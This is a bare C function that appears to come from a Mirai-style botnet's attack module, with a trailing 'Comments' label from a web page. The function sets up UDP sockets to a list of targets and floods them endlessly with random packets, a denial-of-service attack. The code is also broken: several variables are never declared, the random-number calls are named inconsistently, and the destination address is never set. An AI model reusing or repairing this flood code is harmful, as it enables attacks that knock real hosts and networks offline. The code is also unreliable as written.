void attack_method_udpbypass(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i;
char **pkts = calloc(targs_len, sizeof (char *));
int *fds = calloc(targs_len, sizeof (int));
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 4096);
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
struct sockaddr_in bind_addr = {0};
if (sport == 0xffff)
{
sport = rand_next();
} else {
sport = htons(sport);
}
for (i = 0; i < targs_len; i++)
{
struct sockaddr_in bind_addr;
struct sockaddr_in addr;
fds[i] = socket(AF_INET, SOCK_DGRAM, 0);
if (fds[i] == -1)
{
exit(1);
}
bind_addr.sin_family = AF_INET;
bind_addr.sin_port = rand_new();
bind_addr.sin_addr.s_addr = 0;
bind(fds[i], (struct sockaddr *)&bind_addr, sizeof(bind_addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
targs[i].sock_addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
connect(fds[i], (struct sockaddr *)&addr, sizeof(addr));
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
size = 1024 + rand() % (1460 - 1024);
data = (char *)malloc(size);
for (a = 0; a < size; a++)
{
data[a] = (char)(rand() & 0xFFFF);
}
send(fds[i], data, size, MSG_NOSIGNAL);
}
}
}
Comments